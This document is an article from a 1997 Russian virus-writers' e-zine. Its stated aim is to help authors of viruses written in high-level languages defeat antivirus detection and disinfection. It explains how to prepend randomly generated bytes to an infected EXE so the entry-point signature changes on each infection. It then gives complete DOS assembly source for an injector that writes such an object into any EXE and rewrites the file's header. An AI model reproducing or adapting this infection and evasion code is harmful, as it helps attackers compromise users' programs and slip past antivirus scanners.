[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997 file 002
ПОЛИМОРФИКИ НА ЯВУ
/ОКОНЧАНИЕ/
by RedArc
Если вы читали предыдущие два выпуска нашего журнала, то уже успели
обратить внимание на то, что очень много уделено внимания затруднению
детектирования и лечения вирусов, написанных на Языках Высокого Уровня.
Разумеется, это сделано не потому, что я не знаю ничего, кроме васика и
пасика. ;) Нет. Я преследую следующие цели:
* опровергнуть бытующее мнение, что на ЯВУ вирусы писать нельзя;
* доказать, что костность ЯВУ по возможности модификации собственного
исполняемого кода можно и нужно преодалевать;
* охватить как можно более широкий круг программистов, интересующийся
написанием ЖИВЫХ программ.
Настоящий выпуск журнала не будет исключением. Сегодня мы рассмотрим... а
в прочем все по порядку.
Итак, в предыдущих выпусках мы рассмотрели возможности по изменению
собственного кода нашего HLLx до неузнаваемости путем перетосовки
программ-блоков, программ-частей и использованием feature архиваторов по
созданию SFX-архивов. Мы уже успели рассеять мнение, что лечить HLLx - одно
удовольствие: AVP детектирует первый наш многоморфный вирус, но лечить его не
может. Сейчас мы с вами рассмотрим один из путей, усложняющих детектирование
вирусов HLLx.
Ошибаются те, кто думает, что поиск вирусов антивирусы производят
просмотром всех файлов от начала до конца, т.е. линейным поиском. В этом
случае антивирусы никогда бы не смогли с такой скоростью просматривать файлы
на наличие ~18000 известных на сегодня вирусов и тем более искать макровирусы
в многомегобайтных документах... Они поступают несколько по другому:
просматривают n-количество байт от начала и n-количество байт в возможной
точке входа. В самом деле, если приписать простым копированием вирус к любому
файлу, то такие сканеры, как DrWeb или AVP перестают его замечать. Так как же
сделать переход на такой вирус и не дать при этом антивирусу его заметить?
Как мы не извращались с изменением кода в прошлых выпусках, все же один
блок у нас всегда оставался неизменным, т.е. заголовок первой части, а
следовательно и точка входа. Отсюда следовало, что для детектирования HLLP
антивирусу достаточно было запомнить некоторое количество байт из Header
первой части и опаньки. А как же можно из ЯВУ изменить заголовок? Один из
путей был рассмотрен в предыдущем выпуске журнала (вирус TWIX) как
использование двух и более взаимозаменяющих программ-частей. Но этот способ
довольно примитивный (ограничены возможные сигнатуры заголовка количеством
программ-частей) да к тому же увеличивает размер вируса в геометрической
прогрессии. Сегодня я предложу несколько другой способ...
Что нам мешает дописать к вирусу n-количество байт и изменить заголовок
так, чтобы управление сначала передавалось на эти байты, а уж затем основному
вирусу? Думаете, что эти байты сами могут послужить сигнатурой? А если их мы
их будем генерировать абсолютно случайным образом? А вот заголовок будет
меняться при каждом заражении, так как длина вируса будет всегда изменяться...
В идеале можно было бы внедрять эти байты к уже инфицированному файлу, но при
этом нужно учесть то, что файл окажется сегментированным.
И так, предлагаю для дозаписи некоторого количества байт использовать
механизм инфицирования EXE-программ, использованный мной в семействе вирусов
RedArc.Vesna (честно содранного и переработанного мной из книжки 2B Group
"Защита программного обеспечения от несанкционированного доступа").
Разумеется, что способов внедрения объектов в EXE-программы с изменением
заголовка множество и вы должны выбрать сами, а может и использовать
несколько... это уже как кому в глову взбредет. Я выбрал этот способ по тому,
что он, с одной стороны, оказался под рукой, с другой стороны, позволяет
писать все что угодно, так как наши байты будут грузиться со смещения 100h и
не требует никаких действий для изменения регистров и передачи управления
основному объекту - нужно просто работу внедряемого объекта завершать командой
RETF (0CBh), в идеале такой объект может состоять только из одного этого
байта...
┌───────────┐
┌──── │ │ EXE-заголовок вируса
│ ┌ ├───────────┤
│ │ │ │
│ │ │ │
│ │ │ │ Тело вируса
│ │ │ │
│ └──├───────────┤
└─── ├───────────┤ Приблуда
│ │
Инфицированная программа
Аналогичный антиэвристический алгоритм можно предложить и для вирусов,
написанных на языке ассемблера. Сначала производим инфицирование в обычном
порядке, а затем "сверху" одеваем программу из случайных байт.
А вот и приблуда к вирусу, которая осуществляет внедрение объекта GLUCK в
файл, заданный в командной строке. За отсутствие комментариев прошу простить,
так как там и так все ясно. Кому не ясно, тот может почитать первоисточник, в
котором этих комментариев хоть отбавляй... ;-)
=== Cut ===
Model Tiny
.code
.286
org 100h
START:
jmp BEGIN
FNAMESOURCE DB 'GLUCK.BIN',0H
FNAMETARGET DB 12 dup (?)
db 0H
LEN_T_1 DW ?
LEN_T_2 DW ?
LEN_S DW ?
HAND_T DW ?
HAND_S DW ?
FATTR DW ?
FTIME DW ?
FDATE DW ?
BEGIN:
call GLE
mov ax,4c00h
int 21h
GLE:
cmp byte ptr cs:[80h],0
jnz GLE1
ret
GLE1:
mov ax,ds
mov es,ax
xor cx,cx
mov cl,cs:[80h]
mov si,82h
mov di,offset FNAMETARGET
dec cx
rep movsb
mov ax,3d00h
mov dx,offset FNAMESOURCE
int 21h
jnc YES_OPEN
ret
YES_OPEN:
xchg ax,bx
mov HAND_S,bx
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jnc YES_P_1
ret
YES_P_1:
mov LEN_S,ax
push ax
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,3fh
lea dx,BUFF
pop cx
int 21h
jnc OPEN_TARG
ret
OPEN_TARG:
lea dx,[FNAMETARGET]
mov ax,4300h
int 21h
mov FATTR,cx
mov ax,4301h
mov cx,20h
int 21h
mov ax,3d02h
lea dx,[FNAMETARGET]
int 21h
jnc DET_LEN_1
ret
DET_LEN_1:
mov HAND_T,ax
xchg ax,bx
mov ax,5700h
int 21h
mov FDATE,dx
mov FTIME,cx
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov LEN_T_1,dx
mov LEN_T_2,ax
call Write_To_File_Exe
mov bx,HAND_T
mov ax,5701h
mov dx,FDATE
mov cx,FTIME
int 21h
mov ah,3eh
int 21h
mov ax,4301h
mov cx,FATTR
lea dx,[FNAMETARGET]
int 21h
mov ah,3eh
mov bx,HAND_S
int 21h
ret
;*********************************************************
Write_To_File_Exe:
pusha
jmp ST_2EXE
HDR label byte
ExeSig dw ?
PartPag dw ?
PageCnt dw ?
dw ?
HDRsize dw ?
dw 5 dup (?)
EXEip dw ?
Relocs dw ?
LEN_HDR equ $-HDR
IMIT label byte
mov ax,es
I_1:
add ax,0
add ax,10h
push ax
I_2:
mov ax,0
push ax
mov ax,100h
push ax
db 0c3h
LEN_IMIT equ $-IMIT
ST_2EXE:
mov ax,4200h
mov bx,HAND_T
xor cx,cx
xor dx,dx
int 21h
mov ah,3fh
lea dx,HDR
mov cx,LEN_HDR
int 21h
jnc PREP_END
ret
PREP_END:
mov ax,Relocs
mov word ptr I_1[1],ax
mov ax,EXEip
mov word ptr I_2[1],ax
mov cx,LEN_T_1
mov dx,LEN_T_2
mov si,cx
mov di,dx
mov ax,4200h
mov bx,HAND_T
int 21h
mov ah,40h
lea dx,IMIT
mov cx,LEN_IMIT
int 21h
jnc WR_SOUR
ret
WR_SOUR:
mov cx,si
mov dx,di
add dx,LEN_IMIT
jnc M1
inc cx
M1:
add dx,15
jnc M2
inc cx
M2:
and dx,0fff0h
mov si,cx
mov di,dx
mov ax,4200h
int 21h
mov ah,40h
lea dx,BUFF
mov cx,LEN_S
int 21h
mov ax,si
mov bx,di
add bx,ax
mov cl,4
ror bx,cl
sub bx,10h
sub bx,HDRsize
mov Relocs,bx
mov ax,PartPag
and ax,000fh
mov bx,ax
add ax,LEN_IMIT
add ax,15
and ax,0fff0h
add bx,100h
sub bx,ax
mov EXEip,bx
mov ax,si
mov bx,di
add bx,LEN_S
jnc M3
inc ax
M3:
mov dx,bx
and dx,1ffh
mov PartPag,dx
add bx,511
jnc M4
inc ax
M4:
and bh,0feh
mov ah,bh
mov cl,9
ror ax,cl
mov PageCnt,ax
mov ax,4200h
mov bx,HAND_T
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
lea dx,HDR
mov cx,LEN_HDR
int 21h
popa
ret
;*********************************************************
BUFF label byte
end START
=== Cut ===